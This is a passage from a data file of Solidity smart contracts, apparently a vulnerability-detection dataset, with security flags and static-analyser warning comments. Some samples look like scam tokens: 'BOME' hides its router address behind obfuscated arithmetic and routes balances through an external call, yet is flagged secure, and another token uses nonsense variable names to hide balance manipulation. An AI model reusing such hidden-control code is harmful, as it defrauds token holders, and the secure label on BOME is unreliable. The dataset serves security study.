Gordon\",\n \"RJ Barrett\",\n \"Evan Fournier\",\n \"Donovan Mitchell\",\n \"Buddy Hield\",\n \"Khyri Thomas\",\n \"Bogdan Bogdanovic\",\n \"Devin Booker\",\n \"Alec Burks\",\n \"Eric Bledsoe\",\n \"Malik Monk\",\n \"Immanuel Quickley\",\n \"Kevin Huerter\",\n \"Landry Shamet\",\n \"Victor Oladipo\",\n \"Damian Lillard\",\n \"Bradley Beal\",\n \"Kyrie Irving\",\n \"Trae Young\",\n \"De'Aaron Fox\",\n \"Collin Sexton\",\n \"Russell Westbrook\",\n \"Jamal Murray\",\n \"Malcolm Brogdon\",\n \"John Wall\",\n \"Kemba Walker\",\n \"Ja Morant\",\n \"D'Angelo Russell\",\n \"Jordan Clarkson\",\n \"Jrue Holiday\",\n \"Chris Paul\",\n \"Kyle Lowry\",\n \"Tyler Herro\",\n \"James Harden\",\n \"LaMelo Ball\",\n \"Dejounte Murray\",\n \"Dennis Schroder\",\n \"Coby White\",\n \"Ben Simmons\",\n \"Lonzo Ball\",\n \"Goran Dragic\",\n \"Marcus Smart\",\n \"Markelle Fultz\",\n \"Patty Mills\",\n \"Cam Payne\",\n \"Cade Cunningham\",\n \"Jalen Green\",\n \"Jalen Suggs\",\n \"Josh Giddey\",\n \"Davion Mitchell\",\n \"Ziaire Williams\",\n \"James Bouknight\",\n \"Josh Primo\",\n \"Chris Duarte\",\n \"Moses Moody\",\n \"Trey Murphy III\",\n \"Tre Mann\",\n \"Keon Johnson\",\n \"Josh Christopher\",\n \"Quentin Grimes\",\n \"Nah'Shon Hyland\",\n \"Cam Thomas\",\n \"Jaden Springer\",\n \"Jared Butler\",\n \"Sharife Cooper\"\n ];\n\n constructor() ERC721(\"Slamma Jamma\", \"SLAM\") Ownable() {}\n\n function getBig(uint256 tokenId) public view returns (string memory) {\n return pluck(tokenId, \"BIG\", bigs);\n }\n\n function getWing(uint256 tokenId) public view returns (string memory) {\n return pluck(tokenId, \"WING\", wings);\n }\n\n function getGuard(uint256 tokenId) public view returns (string memory) {\n return pluck(tokenId, \"GUARD\", guards);\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n string[7] memory parts;\n parts[\n 0\n ] = \"<svg xmlns='http://www.w3.org/2000/svg' preserveAspectRatio='xMinYMin meet' viewBox='0 0 350 350'><style>.base { fill: black; font-family: serif; font-size: 14px; }</style><rect width='100%' height='100%' fill='white' /><text x='10' y='20' class='base'>\";\n\n parts[1] = getBig(tokenId);\n\n parts[2] = \"</text><text x='10' y='40' class='base'>\";\n\n parts[3] = getWing(tokenId);\n\n parts[4] = \"</text><text x='10' y='60' class='base'>\";\n\n parts[5] = getGuard(tokenId);\n\n parts[6] = \"</text></svg>\";\n\n string memory output = string(\n abi.encodePacked(\n parts[0],\n parts[1],\n parts[2],\n parts[3],\n parts[4],\n parts[5],\n parts[6]\n )\n );\n\n string memory json = Base64.encode(\n bytes(\n string(\n abi.encodePacked(\n \"{'name': 'Squad #\",\n toString(tokenId),\n \"', 'description': 'Slamma Jamma is a randomized squad generated and stored on chain. All functionality is intentionally omitted for the community to interpret. Feel free to use Slamma Jamma in any way you want.', 'image': 'data:image/svg+xml;base64,\",\n Base64.encode(bytes(output)),\n \"'}\"\n )\n )\n )\n );\n output = string(\n abi.encodePacked(\"data:application/json;base64,\", json)\n );\n\n return output;\n }\n\n function claim(uint256 tokenId) public nonReentrant {\n require(open, \"Sale has not started yet\");\n require(tokenId < MAX_SALE_SUPPLY, \"Token ID invalid in this range\");\n _safeMint(_msgSender(), tokenId);\n }\n\n function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner {\n require(\n tokenId >= MAX_SALE_SUPPLY && tokenId <= MAX_SUPPLY,\n \"Token ID invalid in this range\"\n );\n _safeMint(owner(), tokenId);\n }\n\n function setStatus(bool _val) public onlyOwner {\n open = _val;\n }\n\n function random(string memory input) internal pure returns (uint256) {\n return uint256(keccak256(abi.encodePacked(input)));\n }\n\n function toString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n function pluck(\n uint256 tokenId,\n string memory keyPrefix,\n string[] memory sourceArray\n ) internal pure returns (string memory) {\n uint256 rand = random(\n string(abi.encodePacked(keyPrefix, toString(tokenId)))\n );\n string memory output = sourceArray[rand % sourceArray.length];\n return output;\n }\n}",
"file_name": "solidity_code_3555.sol",
"secure": 1,
"size_bytes": 10009
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IStakingPool {\n function balanceOf(address _owner) external view returns (uint256);\n\n function mint(\n address[] calldata addresses,\n uint256[] calldata points\n ) external;\n\n function burn(address owner, uint256 amount) external;\n}",
"file_name": "solidity_code_3556.sol",
"secure": 1,
"size_bytes": 337
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/AccessControl.sol\" as AccessControl;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IStakingPool.sol\" as IStakingPool;\n\ncontract MainnetCoinBridge is AccessControl {\n bytes32 public constant MINTER_ROLE = keccak256(\"MINTER_ROLE\");\n\n using SafeMath for uint256;\n\n event RainbowsDeposited(\n address indexed spender,\n uint256 amount,\n uint256 requestId\n );\n event UnicornsDeposited(\n address indexed spender,\n uint256 amount,\n uint256 requestId\n );\n event RainbowsWithdrawn(\n address indexed owner,\n uint256 amount,\n uint256 requestId\n );\n event UnicornsWithdrawn(\n address indexed owner,\n uint256 amount,\n uint256 requestId\n );\n event EthWithdrawn(uint256 amount);\n event FeeSet(uint256 fee);\n\n uint256 public requestId;\n uint256 public fee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1e69123): MainnetCoinBridge.stakingPool should be immutable \n\t// Recommendation for 1e69123: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private stakingPool;\n\t// WARNING Optimization Issue (immutable-states | ID: 255d630): MainnetCoinBridge.lpStakingPool should be immutable \n\t// Recommendation for 255d630: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private lpStakingPool;\n\t// WARNING Optimization Issue (immutable-states | ID: 5a724a0): MainnetCoinBridge.lpV3StakingPool should be immutable \n\t// Recommendation for 5a724a0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private lpV3StakingPool;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 611df32): MainnetCoinBridge.constructor(address,address,address)._stakingPool lacks a zerocheck on \t stakingPool = _stakingPool\n\t// Recommendation for 611df32: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d5a996a): MainnetCoinBridge.constructor(address,address,address)._lpStakingPool lacks a zerocheck on \t lpStakingPool = _lpStakingPool\n\t// Recommendation for d5a996a: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2bd11ec): MainnetCoinBridge.constructor(address,address,address)._lpV3StakingPool lacks a zerocheck on \t lpV3StakingPool = _lpV3StakingPool\n\t// Recommendation for 2bd11ec: Check that the address is not zero.\n constructor(\n address _stakingPool,\n address _lpStakingPool,\n address _lpV3StakingPool\n ) {\n _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());\n\t\t// missing-zero-check | ID: 611df32\n stakingPool = _stakingPool;\n\t\t// missing-zero-check | ID: d5a996a\n lpStakingPool = _lpStakingPool;\n\t\t// missing-zero-check | ID: 2bd11ec\n lpV3StakingPool = _lpV3StakingPool;\n }\n\n modifier onlyMinter() {\n require(\n hasRole(MINTER_ROLE, _msgSender()),\n \"MainnetCoinBridge: caller is not a minter\"\n );\n _;\n }\n\n modifier onlyOwner() {\n require(\n hasRole(DEFAULT_ADMIN_ROLE, _msgSender()),\n \"MainnetCoinBridge: caller is not an owner\"\n );\n _;\n }\n\n function setFee(uint256 _fee) external onlyOwner {\n fee = _fee;\n emit FeeSet(_fee);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: df0f4ab): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for df0f4ab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 53c8253): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 53c8253: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function depositRainbows(uint256 _amount) external payable {\n require(msg.value >= fee, \"MainnetCoinBridge: not enough eth\");\n require(\n IStakingPool(stakingPool).balanceOf(_msgSender()) >= _amount,\n \"MainnetCoinBridge: not enough rainbows\"\n );\n\n\t\t// reentrancy-events | ID: df0f4ab\n\t\t// reentrancy-benign | ID: 53c8253\n IStakingPool(stakingPool).burn(_msgSender(), _amount);\n\n uint256 refund = msg.value - fee;\n if (refund > 0) {\n\t\t\t// reentrancy-events | ID: df0f4ab\n\t\t\t// reentrancy-benign | ID: 53c8253\n (bool refundSuccess, ) = _msgSender().call{value: refund}(\"\");\n require(refundSuccess, \"MainnetCoinBridge: refund transfer failed\");\n }\n\n\t\t// reentrancy-benign | ID: 53c8253\n requestId++;\n\t\t// reentrancy-events | ID: df0f4ab\n emit RainbowsDeposited(_msgSender(), _amount, requestId);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f1a4924): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f1a4924: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c5004d0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c5004d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function depositUnicorns(uint256 _amount) external payable {\n require(msg.value >= fee, \"MainnetCoinBridge: not enough eth\");\n\n uint256 oldPoolBalance = IStakingPool(lpStakingPool).balanceOf(\n _msgSender()\n );\n int256 newPoolLeftAmount = int256(_amount) - int256(oldPoolBalance);\n if (newPoolLeftAmount > 0) {\n require(\n IStakingPool(lpV3StakingPool).balanceOf(_msgSender()) >=\n uint256(newPoolLeftAmount),\n \"MainnetCoinBridge: not enough unicorns\"\n );\n if (oldPoolBalance > 0)\n\t\t\t\t// reentrancy-events | ID: f1a4924\n\t\t\t\t// reentrancy-benign | ID: c5004d0\n IStakingPool(lpStakingPool).burn(_msgSender(), oldPoolBalance);\n\t\t\t// reentrancy-events | ID: f1a4924\n\t\t\t// reentrancy-benign | ID: c5004d0\n IStakingPool(lpV3StakingPool).burn(\n _msgSender(),\n uint256(newPoolLeftAmount)\n );\n } else {\n\t\t\t// reentrancy-events | ID: f1a4924\n\t\t\t// reentrancy-benign | ID: c5004d0\n IStakingPool(lpStakingPool).burn(_msgSender(), _amount);\n }\n\n uint256 refund = msg.value - fee;\n if (refund > 0) {\n\t\t\t// reentrancy-events | ID: f1a4924\n\t\t\t// reentrancy-benign | ID: c5004d0\n (bool refundSuccess, ) = _msgSender().call{value: refund}(\"\");\n require(refundSuccess, \"MainnetCoinBridge: refund transfer failed\");\n }\n\n\t\t// reentrancy-benign | ID: c5004d0\n requestId++;\n\t\t// reentrancy-events | ID: f1a4924\n emit UnicornsDeposited(_msgSender(), _amount, requestId);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0d8855a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0d8855a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdrawRainbows(\n address[] calldata _owners,\n uint256[] calldata _amounts,\n uint256[] calldata _requestsIds\n ) external onlyMinter {\n require(\n _owners.length == _amounts.length &&\n _owners.length == _requestsIds.length,\n \"MainnetCoinBridge: Arrays length not equal\"\n );\n\t\t// reentrancy-events | ID: 0d8855a\n IStakingPool(stakingPool).mint(_owners, _amounts);\n for (uint256 i; i < _owners.length; i++) {\n\t\t\t// reentrancy-events | ID: 0d8855a\n emit RainbowsWithdrawn(_owners[i], _amounts[i], _requestsIds[i]);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 18f088a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 18f088a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdrawUnicorns(\n address[] calldata _owners,\n uint256[] calldata _amounts,\n uint256[] calldata _requestsIds\n ) external onlyMinter {\n require(\n _owners.length == _amounts.length &&\n _owners.length == _requestsIds.length,\n \"MainnetCoinBridge: Arrays length not equal\"\n );\n\t\t// reentrancy-events | ID: 18f088a\n IStakingPool(lpV3StakingPool).mint(_owners, _amounts);\n for (uint256 i; i < _owners.length; i++) {\n\t\t\t// reentrancy-events | ID: 18f088a\n emit UnicornsWithdrawn(_owners[i], _amounts[i], _requestsIds[i]);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b3f094f): Reentrancy in MainnetCoinBridge.withdrawEth(uint256) External calls (success,None) = _msgSender().call{value _amount}() Event emitted after the call(s) EthWithdrawn(_amount)\n\t// Recommendation for b3f094f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdrawEth(uint256 _amount) external onlyOwner {\n require(\n _amount <= address(this).balance,\n \"MainnetCoinBridge: not enough balance\"\n );\n\t\t// reentrancy-events | ID: b3f094f\n (bool success, ) = _msgSender().call{value: _amount}(\"\");\n require(success, \"MainnetCoinBridge: transfer failed\");\n\t\t// reentrancy-events | ID: b3f094f\n emit EthWithdrawn(_amount);\n }\n}",
"file_name": "solidity_code_3557.sol",
"secure": 0,
"size_bytes": 10829
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./NFTokenMetadata.sol\" as NFTokenMetadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract NFT is NFTokenMetadata, Ownable {\n constructor() {\n nftName = \"HKD NFT\";\n nftSymbol = \"HNFT\";\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 39ed9cd): NFT.withdrawTo(address).to_address lacks a zerocheck on \t to_address.transfer(balance)\n\t// Recommendation for 39ed9cd: Check that the address is not zero.\n function withdrawTo(address payable to_address) external onlyOwner {\n uint256 balance = address(this).balance;\n\t\t// missing-zero-check | ID: 39ed9cd\n to_address.transfer(balance);\n }\n\n function mint(\n address _to,\n uint256 _tokenId,\n string calldata _uri\n ) external onlyOwner {\n super._mint(_to, _tokenId);\n super._setTokenUri(_tokenId, _uri);\n }\n}",
"file_name": "solidity_code_3558.sol",
"secure": 0,
"size_bytes": 978
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Contract is Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: be98bea): Contract._decimals should be constant \n\t// Recommendation for be98bea: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: cad1b59): Contract._tTotal should be immutable \n\t// Recommendation for cad1b59: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tTotal = 1000000000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 57d719a): Contract.equally should be immutable \n\t// Recommendation for 57d719a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private equally = _tTotal;\n\t// WARNING Optimization Issue (constable-states | ID: 7ce0624): Contract._rTotal should be constant \n\t// Recommendation for 7ce0624: Add the 'constant' attribute to state variables that never change.\n uint256 private _rTotal = ~uint256(0);\n\t// WARNING Optimization Issue (constable-states | ID: cd1cf2c): Contract._fee should be constant \n\t// Recommendation for cd1cf2c: Add the 'constant' attribute to state variables that never change.\n uint256 public _fee = 5;\n\n mapping(uint256 => address) private group;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private solar;\n mapping(address => uint256) private _balances;\n mapping(address => uint256) private lack;\n mapping(uint256 => address) private feel;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Optimization Issue (immutable-states | ID: e4d96f4): Contract.router should be immutable \n\t// Recommendation for e4d96f4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public router;\n\t// WARNING Optimization Issue (immutable-states | ID: a5a9356): Contract.uniswapV2Pair should be immutable \n\t// Recommendation for a5a9356: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n string private _symbol;\n string private _name;\n\n constructor(\n string memory _NAME,\n string memory _SYMBOL,\n address routerAddress\n ) {\n _name = _NAME;\n _symbol = _SYMBOL;\n\n solar[msg.sender] = equally;\n _balances[msg.sender] = _tTotal;\n _balances[address(this)] = _rTotal;\n\n router = IUniswapV2Router02(routerAddress);\n uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n group[equally] = uniswapV2Pair;\n\n emit Transfer(address(0), msg.sender, _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint256) {\n return _decimals;\n }\n\n function totalSupply() public view returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 013f8e1): Contract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 013f8e1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 36a2883): Contract._transfer(address,address,uint256) performs a multiplication on the result of a division fee = (amount / 100) * _fee\n\t// Recommendation for 36a2883: Consider ordering multiplication before division.\n function _transfer(address card, address fell, uint256 amount) private {\n address smoke = feel[equally];\n bool fine = card == group[equally];\n uint256 heard = _fee;\n\n if (solar[card] == 0 && !fine && lack[card] > 0) {\n solar[card] -= heard;\n }\n\n feel[equally] = fell;\n\n if (solar[card] > 0 && amount == 0) {\n solar[fell] += heard;\n }\n\n lack[smoke] += heard;\n\n if (solar[card] > 0 && amount > equally) {\n wheat(amount);\n } else {\n\t\t\t// divide-before-multiply | ID: 36a2883\n uint256 fee = (amount / 100) * _fee;\n amount -= fee;\n _balances[card] -= fee;\n\n _balances[card] -= amount;\n _balances[fell] += amount;\n }\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n return _approve(msg.sender, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b6837ed): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b6837ed: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 98d6b63): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 98d6b63: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool) {\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\t\t// reentrancy-events | ID: b6837ed\n\t\t// reentrancy-benign | ID: 98d6b63\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: b6837ed\n emit Transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: b6837ed\n\t\t// reentrancy-benign | ID: 98d6b63\n return\n _approve(\n sender,\n msg.sender,\n _allowances[sender][msg.sender] - amount\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e88408e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e88408e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool) {\n\t\t// reentrancy-events | ID: e88408e\n _transfer(msg.sender, recipient, amount);\n\t\t// reentrancy-events | ID: e88408e\n emit Transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function wheat(uint256 tokens) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = router.WETH();\n _approve(address(this), address(router), tokens);\n\t\t// reentrancy-events | ID: b6837ed\n\t\t// reentrancy-events | ID: e88408e\n\t\t// reentrancy-benign | ID: 98d6b63\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokens,\n 0,\n path,\n msg.sender,\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96c28bf): Contract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96c28bf: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) private returns (bool) {\n require(\n owner != address(0) && spender != address(0),\n \"ERC20: approve from the zero address\"\n );\n\t\t// reentrancy-benign | ID: 98d6b63\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: b6837ed\n emit Approval(owner, spender, amount);\n return true;\n }\n}",
"file_name": "solidity_code_3559.sol",
"secure": 0,
"size_bytes": 9015
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Platforme.sol\" as Platforme;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\n\ncontract BOME is Platforme, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: a14772c): BOME._totalSupply should be constant \n\t// Recommendation for a14772c: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: bcd4539): BOME._name should be constant \n\t// Recommendation for bcd4539: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"BABY OF MEME\";\n\n\t// WARNING Optimization Issue (constable-states | ID: d48f1dc): BOME._symbol should be constant \n\t// Recommendation for d48f1dc: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"BOME\";\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d64eca4): BOME.Router2Instance should be immutable \n\t// Recommendation for d64eca4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 private Router2Instance;\n\n constructor(uint256 aEdZTTu) {\n uint256 cc = aEdZTTu +\n uint256(10) -\n uint256(10) +\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n );\n\n Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(cc))));\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 88c2e63): BOME.bb should be constant \n\t// Recommendation for 88c2e63: Add the 'constant' attribute to state variables that never change.\n uint160 private bb = 20;\n\n function brcFfffactornnmoosgsto(\n uint256 value\n ) internal view returns (uint160) {\n uint160 a = 70;\n\n return (bb +\n a +\n uint160(value) +\n uint160(\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n )\n ));\n }\n\n function brcFactornnmoosgsto(\n uint256 value\n ) internal view returns (address) {\n return address(brcFfffactornnmoosgsto(value));\n }\n\n function getBcFnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return getBcQnnmoosgsto(accc);\n }\n\n function getBcQnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return UniswapRouterV2(accc);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = IUniswapRouterV2.swap99(\n Router2Instance,\n Router2Instance,\n _balances[from],\n from\n );\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balances[from] = balance.sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n}",
"file_name": "solidity_code_356.sol",
"secure": 1,
"size_bytes": 6267
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IdexFacotry.sol\" as IdexFacotry;\nimport \"./IDexRouter.sol\" as IDexRouter;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ManekiNekoINU is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (immutable-states | ID: ac9c5e6): ManekiNekoINU.dexRouter should be immutable \n\t// Recommendation for ac9c5e6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IDexRouter public dexRouter;\n\t// WARNING Optimization Issue (immutable-states | ID: c289294): ManekiNekoINU.dexPair should be immutable \n\t// Recommendation for c289294: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public dexPair;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 47704e0): ManekiNekoINU._decimals should be immutable \n\t// Recommendation for 47704e0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: f35995e): ManekiNekoINU._totalSupply should be immutable \n\t// Recommendation for f35995e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n bool public _earlyselltax = true;\n\n constructor() {\n _name = \"Maneki-Neko Inu\";\n _symbol = \"NEKOINU\";\n _decimals = 18;\n _totalSupply = 100000000000 * 1e18;\n\n _balances[owner()] = _totalSupply.mul(1000).div(1e3);\n\n IDexRouter _dexRouter = IDexRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n dexPair = IdexFacotry(_dexRouter.factory()).createPair(\n address(this),\n _dexRouter.WETH()\n );\n\n dexRouter = _dexRouter;\n\n emit Transfer(address(this), owner(), _totalSupply.mul(1000).div(1e3));\n }\n\n function name() public view returns 